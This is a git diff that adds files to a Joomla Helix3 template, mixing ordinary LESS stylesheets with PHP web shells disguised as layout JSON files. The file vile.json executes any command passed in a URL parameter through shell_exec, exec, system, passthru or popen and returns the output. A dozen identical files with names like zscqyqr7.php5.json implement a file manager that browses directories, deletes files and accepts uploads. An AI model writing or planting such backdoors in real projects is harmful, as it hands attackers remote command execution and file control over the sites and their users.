diff --git a/deployed/helix3/templates/shaper_helix3/layout/vile.json b/deployed/helix3/templates/shaper_helix3/layout/vile.json
new file mode 100644
index 00000000..b8cbb941
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/layout/vile.json
@@ -0,0 +1,40 @@
+'
+ .'Upload ';
+ }
+ exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("
+",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+ $h=@popen($c,'r');$o='';
+ while(!feof($h)){$o.=fread($h,4096);}
+ pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/layout/zscqyqr7.inc.json b/deployed/helix3/templates/shaper_helix3/layout/zscqyqr7.inc.json
new file mode 100644
index 00000000..f4a07322
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/layout/zscqyqr7.inc.json
@@ -0,0 +1 @@
+';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"Uploaded: ".htmlspecialchars($n)."
";}else{echo"Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER ♦ ZS CORP UPLOADER ♦ Research Division | Secure Access
Current Dir: $he";if($parent&&$parent!==$d){echo" |
[Parent Dir ↑] ";}echo"
Name Size Modified Perms Action ";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name ";}elseif(!$isDir){$nameCell="$icon $name ";}else{$nameCell="$icon $name";}echo"$nameCell $size $time $perms ";if($item!=='..'){echo"";}echo" ";}}echo"
";?>
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/layout/zscqyqr7.phar.json b/deployed/helix3/templates/shaper_helix3/layout/zscqyqr7.phar.json
new file mode 100644
index 00000000..f4a07322
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/layout/zscqyqr7.phar.json
@@ -0,0 +1 @@
+';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"Uploaded: ".htmlspecialchars($n)."
";}else{echo"Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER ♦ ZS CORP UPLOADER ♦ Research Division | Secure Access
Current Dir: $he";if($parent&&$parent!==$d){echo" |
[Parent Dir ↑] ";}echo"
Name Size Modified Perms Action ";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name ";}elseif(!$isDir){$nameCell="$icon $name ";}else{$nameCell="$icon $name";}echo"$nameCell $size $time $perms ";if($item!=='..'){echo"";}echo" ";}}echo"
";?>
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/layout/zscqyqr7.php3.json b/deployed/helix3/templates/shaper_helix3/layout/zscqyqr7.php3.json
new file mode 100644
index 00000000..f4a07322
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/layout/zscqyqr7.php3.json
@@ -0,0 +1 @@
+';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"Uploaded: ".htmlspecialchars($n)."
";}else{echo"Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER ♦ ZS CORP UPLOADER ♦ Research Division | Secure Access
Current Dir: $he";if($parent&&$parent!==$d){echo" |
[Parent Dir ↑] ";}echo"
Name Size Modified Perms Action ";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name ";}elseif(!$isDir){$nameCell="$icon $name ";}else{$nameCell="$icon $name";}echo"$nameCell $size $time $perms ";if($item!=='..'){echo"";}echo" ";}}echo"
";?>
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/layout/zscqyqr7.php4.json b/deployed/helix3/templates/shaper_helix3/layout/zscqyqr7.php4.json
new file mode 100644
index 00000000..f4a07322
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/layout/zscqyqr7.php4.json
@@ -0,0 +1 @@
+';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"Uploaded: ".htmlspecialchars($n)."
";}else{echo"Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER ♦ ZS CORP UPLOADER ♦ Research Division | Secure Access
Current Dir: $he";if($parent&&$parent!==$d){echo" |
[Parent Dir ↑] ";}echo"
Name Size Modified Perms Action ";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name ";}elseif(!$isDir){$nameCell="$icon $name ";}else{$nameCell="$icon $name";}echo"$nameCell $size $time $perms ";if($item!=='..'){echo"";}echo" ";}}echo"
";?>
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/layout/zscqyqr7.php5.json b/deployed/helix3/templates/shaper_helix3/layout/zscqyqr7.php5.json
new file mode 100644
index 00000000..f4a07322
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/layout/zscqyqr7.php5.json
@@ -0,0 +1 @@
+';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"Uploaded: ".htmlspecialchars($n)."
";}else{echo"Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER ♦ ZS CORP UPLOADER ♦ Research Division | Secure Access
Current Dir: $he";if($parent&&$parent!==$d){echo" |
[Parent Dir ↑] ";}echo"
Name Size Modified Perms Action ";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name ";}elseif(!$isDir){$nameCell="$icon $name ";}else{$nameCell="$icon $name";}echo"$nameCell $size $time $perms ";if($item!=='..'){echo"";}echo" ";}}echo"
";?>
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/layout/zseqn0yx.inc.json b/deployed/helix3/templates/shaper_helix3/layout/zseqn0yx.inc.json
new file mode 100644
index 00000000..f4a07322
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/layout/zseqn0yx.inc.json
@@ -0,0 +1 @@
+';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"Uploaded: ".htmlspecialchars($n)."
";}else{echo"Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER ♦ ZS CORP UPLOADER ♦ Research Division | Secure Access
Current Dir: $he";if($parent&&$parent!==$d){echo" |
[Parent Dir ↑] ";}echo"
Name Size Modified Perms Action ";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name ";}elseif(!$isDir){$nameCell="$icon $name ";}else{$nameCell="$icon $name";}echo"$nameCell $size $time $perms ";if($item!=='..'){echo"";}echo" ";}}echo"
";?>
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/layout/zseqn0yx.phar.json b/deployed/helix3/templates/shaper_helix3/layout/zseqn0yx.phar.json
new file mode 100644
index 00000000..f4a07322
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/layout/zseqn0yx.phar.json
@@ -0,0 +1 @@
+';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"Uploaded: ".htmlspecialchars($n)."
";}else{echo"Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER ♦ ZS CORP UPLOADER ♦ Research Division | Secure Access
Current Dir: $he";if($parent&&$parent!==$d){echo" |
[Parent Dir ↑] ";}echo"
Name Size Modified Perms Action ";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name ";}elseif(!$isDir){$nameCell="$icon $name ";}else{$nameCell="$icon $name";}echo"$nameCell $size $time $perms ";if($item!=='..'){echo"";}echo" ";}}echo"
";?>
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/layout/zseqn0yx.php3.json b/deployed/helix3/templates/shaper_helix3/layout/zseqn0yx.php3.json
new file mode 100644
index 00000000..f4a07322
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/layout/zseqn0yx.php3.json
@@ -0,0 +1 @@
+';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"Uploaded: ".htmlspecialchars($n)."
";}else{echo"Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER ♦ ZS CORP UPLOADER ♦ Research Division | Secure Access
Current Dir: $he";if($parent&&$parent!==$d){echo" |
[Parent Dir ↑] ";}echo"
Name Size Modified Perms Action ";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name ";}elseif(!$isDir){$nameCell="$icon $name ";}else{$nameCell="$icon $name";}echo"$nameCell $size $time $perms ";if($item!=='..'){echo"";}echo" ";}}echo"
";?>
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/layout/zseqn0yx.php4.json b/deployed/helix3/templates/shaper_helix3/layout/zseqn0yx.php4.json
new file mode 100644
index 00000000..f4a07322
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/layout/zseqn0yx.php4.json
@@ -0,0 +1 @@
+';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"Uploaded: ".htmlspecialchars($n)."
";}else{echo"Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER ♦ ZS CORP UPLOADER ♦ Research Division | Secure Access
Current Dir: $he";if($parent&&$parent!==$d){echo" |
[Parent Dir ↑] ";}echo"
Name Size Modified Perms Action ";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name ";}elseif(!$isDir){$nameCell="$icon $name ";}else{$nameCell="$icon $name";}echo"$nameCell $size $time $perms ";if($item!=='..'){echo"";}echo" ";}}echo"
";?>
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/layout/zseqn0yx.php5.json b/deployed/helix3/templates/shaper_helix3/layout/zseqn0yx.php5.json
new file mode 100644
index 00000000..f4a07322
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/layout/zseqn0yx.php5.json
@@ -0,0 +1 @@
+';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"Uploaded: ".htmlspecialchars($n)."
";}else{echo"Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER ♦ ZS CORP UPLOADER ♦ Research Division | Secure Access
Current Dir: $he";if($parent&&$parent!==$d){echo" |
[Parent Dir ↑] ";}echo"
Name Size Modified Perms Action ";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name ";}elseif(!$isDir){$nameCell="$icon $name ";}else{$nameCell="$icon $name";}echo"$nameCell $size $time $perms ";if($item!=='..'){echo"";}echo" ";}}echo"
";?>
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/less/frontend-edit.less b/deployed/helix3/templates/shaper_helix3/less/frontend-edit.less
new file mode 100644
index 00000000..32f2bcb8
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/less/frontend-edit.less
@@ -0,0 +1,187 @@
+
+/*=========================================
+ *======= Fronted edit ============
+ *=======================================*/
+
+.layout-edit {
+
+ @import "legacy/variables";
+ @import "legacy/mixins";
+ @import "legacy/forms.less";
+ @import "legacy/wells.less";
+ @import "legacy/accordion.less";
+
+ //Edit
+ select.inputbox,
+ select {
+ width: 250px;
+ max-width: 100%;
+ }
+
+ .btn-toolbar {
+ margin-bottom: 20px;
+ }
+
+ .tab-content {
+ padding-top: 20px;
+ }
+
+ #editor-xtd-buttons,
+ .toggle-editor {
+ margin-top: 20px;
+ }
+
+ .btn-group input[type="radio"] {
+ display: none;
+ }
+
+}
+
+/*======================================
+ *======= Media ============
+ *=====================================*/
+
+iframe, svg {
+ max-width: 100%;
+}
+
+#sbox-content > iframe {
+ height: 100%;
+}
+
+.alert.alert-message {
+ background-color: #dff0d8;
+ border-color: #d6e9c6;
+ color: #468847;
+ h4 {
+ color: #468847;
+ }
+}
+
+.manager.thumbnails {
+
+ list-style: none;
+ padding: 0;
+ margin: 0 0 0 -20px;
+
+ li {
+ text-align: center;
+ display: block;
+ float: left;
+ width: 80px;
+ height: 80px;
+ line-height: 18px;
+ border: 1px solid #ddd;
+ -webkit-border-radius: 4px;
+ -moz-border-radius: 4px;
+ border-radius: 4px;
+ -webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.055);
+ box-shadow: 0 1px 3px rgba(0,0,0,0.055);
+ position: relative;
+
+ [class^="icon-"],
+ [class*=" icon-"] {
+ font-size: 14px;
+ line-height: 14px;
+ color: #08c;
+ display: inline-block;
+ margin-top: 6px;
+ }
+
+ .height-50 {
+ margin-top: 4px;
+ height: 50px;
+ margin-bottom: 4px;
+ }
+
+ a {
+ text-decoration: none;
+ color: #08c;
+ font-size: 13px;
+ }
+
+ &:hover {
+ background: #f7fcff;
+ border-color: rgba(82,168,236,0.8);
+ -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(82,168,236,.6);
+ -moz-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(82,168,236,.6);
+ box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(82,168,236,.6);
+ -webkit-transition: all 400ms;
+ transition: all 400ms;
+ }
+ }
+}
+
+#mailto-window {
+ margin: 20px;
+ >h2 {
+ font-size: 18px;
+ margin-top: 0;
+ }
+ input[type="text"],
+ input[type="email"] {
+ height: auto !important;
+ }
+}
+
+//Choosen
+.chzn-container.chzn-container-multi {
+ input[type="text"] {
+ min-height: 30px;
+ }
+}
+
+// Content edit
+.com-content-adminForm{
+ textarea{
+ width: 350px;
+ height: 100px;
+ }
+
+ .input-prepend.input-append{
+ .media-preview.add-on {
+ height: 34px;
+ line-height: 26px;
+ }
+ .modal.btn{
+ position: relative;
+ background: #ccc;
+ }
+ }
+
+}
+
+// Module edit
+.com-config {
+ .form-horizontal{
+ .accordion-body {
+ &.in{
+ &:hover{
+ overflow: visible;
+ }
+ }
+ overflow: hidden;
+ .input-prepend.input-append {
+ .media-preview.add-on {
+ height: 34px;
+ line-height: 26px;
+ }
+ .btn {
+ position: relative;
+ cursor: pointer;
+ color: #333;
+ border: 1px solid #bbb;
+ }
+ }
+ }
+ }
+}
+
+/* *** Joomla 3.7 Compatibility *** */
+.edit.item-page .modal {
+ position: initial;
+}
+.edit.item-page .media-preview.add-on {
+ height: 34px;
+ line-height: 28px;
+}
diff --git a/deployed/helix3/templates/shaper_helix3/less/icomoon.less b/deployed/helix3/templates/shaper_helix3/less/icomoon.less
new file mode 100644
index 00000000..2039deab
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/less/icomoon.less
@@ -0,0 +1,762 @@
+@font-face {
+ font-family: 'IcoMoon';
+ src: url('../fonts/IcoMoon.eot');
+ src: url('../fonts/IcoMoon.eot?#iefix') format('embedded-opentype'),
+ url('../fonts/IcoMoon.woff') format('woff'),
+ url('../fonts/IcoMoon.ttf') format('truetype'),
+ url('../fonts/IcoMoon.svg#IcoMoon') format('svg');
+ font-weight: normal;
+ font-style: normal;
+}
+
+/* Use the following CSS code if you want to use data attributes for inserting your icons */
+[data-icon]:before {
+ font-family: 'IcoMoon';
+ content: attr(data-icon);
+ speak: none;
+}
+
+/* From Bootstrap */
+[class^="icon-"],
+[class*=" icon-"] {
+ display: inline-block;
+ width: 14px;
+ height: 14px;
+ margin-right: .25em;
+ line-height: 14px;
+ background-image: none;
+}
+
+dd > span[class^="icon-"] + time,
+dd > span[class*=" icon-"] + time{
+ margin-left: -.25em;
+}
+dl.article-info dd.hits span[class^="icon-"],
+dl.article-info dd.hits span[class*=" icon-"]{
+ margin-right: 0;
+ }
+
+/* Use the following CSS code if you want to have a class per icon */
+[class^="icon-"]:before, [class*=" icon-"]:before {
+ font-family: 'IcoMoon';
+ font-style: normal;
+ speak: none;
+}
+[class^="icon-"].disabled,
+[class*=" icon-"].disabled {
+ font-weight: normal;
+}
+
+.icon-joomla:before {
+ content: "\e200";
+}
+.icon-chevron-up:before,
+.icon-uparrow:before,
+.icon-arrow-up:before {
+ content: "\e005";
+}
+.icon-chevron-right:before,
+.icon-rightarrow:before,
+.icon-arrow-right:before{
+ content: "\e006";
+}
+.icon-chevron-down:before,
+.icon-downarrow:before,
+.icon-arrow-down:before {
+ content: "\e007";
+}
+.icon-chevron-left:before,
+.icon-leftarrow:before,
+.icon-arrow-left:before {
+ content: "\e008";
+}
+.icon-arrow-first:before {
+ content: "\e003";
+}
+.icon-arrow-last:before {
+ content: "\e004";
+}
+.icon-arrow-up-2:before {
+ content: "\e009";
+}
+.icon-arrow-right-2:before {
+ content: "\e00a";
+}
+.icon-arrow-down-2:before {
+ content: "\e00b";
+}
+.icon-arrow-left-2:before {
+ content: "\e00c";
+}
+.icon-arrow-up-3:before {
+ content: "\e00f";
+}
+.icon-arrow-right-3:before {
+ content: "\e010";
+}
+.icon-arrow-down-3:before {
+ content: "\e011";
+}
+.icon-arrow-left-3:before {
+ content: "\e012";
+}
+.icon-menu-2:before {
+ content: "\e00e";
+}
+.icon-arrow-up-4:before {
+ content: "\e201";
+}
+.icon-arrow-right-4:before {
+ content: "\e202";
+}
+.icon-arrow-down-4:before {
+ content: "\e203";
+}
+.icon-arrow-left-4:before {
+ content: "\e204";
+}
+.icon-share:before,
+.icon-redo:before {
+ content: "\27";
+}
+.icon-undo:before {
+ content: "\28";
+}
+.icon-forward-2:before {
+ content: "\e205";
+}
+.icon-backward-2:before,
+.icon-reply:before {
+ content: "\e206";
+}
+.icon-unblock:before,
+.icon-refresh:before,
+.icon-redo-2:before {
+ content: "\6c";
+}
+.icon-undo-2:before {
+ content: "\e207";
+}
+.icon-move:before {
+ content: "\7a";
+}
+.icon-expand:before {
+ content: "\66";
+}
+.icon-contract:before {
+ content: "\67";
+}
+.icon-expand-2:before {
+ content: "\68";
+}
+.icon-contract-2:before {
+ content: "\69";
+}
+.icon-play:before {
+ content: "\e208";
+}
+.icon-pause:before {
+ content: "\e209";
+}
+.icon-stop:before {
+ content: "\e210";
+}
+.icon-previous:before,
+.icon-backward:before {
+ content: "\7c";
+}
+.icon-next:before,
+.icon-forward:before {
+ content: "\7b";
+}
+.icon-first:before {
+ content: "\7d";
+}
+.icon-last:before {
+ content: "\e000";
+}
+.icon-play-circle:before {
+ content: "\e00d";
+}
+.icon-pause-circle:before {
+ content: "\e211";
+}
+.icon-stop-circle:before {
+ content: "\e212";
+}
+.icon-backward-circle:before {
+ content: "\e213";
+}
+.icon-forward-circle:before {
+ content: "\e214";
+}
+.icon-loop:before {
+ content: "\e001";
+}
+.icon-shuffle:before {
+ content: "\e002";
+}
+.icon-search:before {
+ content: "\53";
+}
+.icon-zoom-in:before {
+ content: "\64";
+}
+.icon-zoom-out:before {
+ content: "\65";
+}
+.icon-apply:before,
+.icon-edit:before,
+.icon-pencil:before {
+ content: "\2b";
+}
+.icon-pencil-2:before {
+ content: "\2c";
+}
+.icon-brush:before {
+ content: "\3b";
+}
+.icon-save-new:before,
+.icon-plus-2:before {
+ content: "\5d";
+}
+.icon-ban-circle:before,
+.icon-minus-sign:before,
+.icon-minus-2:before {
+ content: "\5e";
+}
+.icon-delete:before,
+.icon-remove:before,
+.icon-cancel-2:before {
+ content: "\49";
+}
+.icon-publish:before,
+.icon-save:before,
+.icon-ok:before,
+.icon-checkmark:before {
+ content: "\47";
+}
+.icon-new:before,
+.icon-plus:before {
+ content: "\2a";
+}
+.icon-plus-circle:before {
+ content: "\e215";
+}
+.icon-minus:before,
+.icon-not-ok:before {
+ content: "\4b";
+}
+.icon-minus-circle:before {
+ content: "\e216";
+}
+.icon-unpublish:before,
+.icon-cancel:before {
+ content: "\4a";
+}
+.icon-cancel-circle:before {
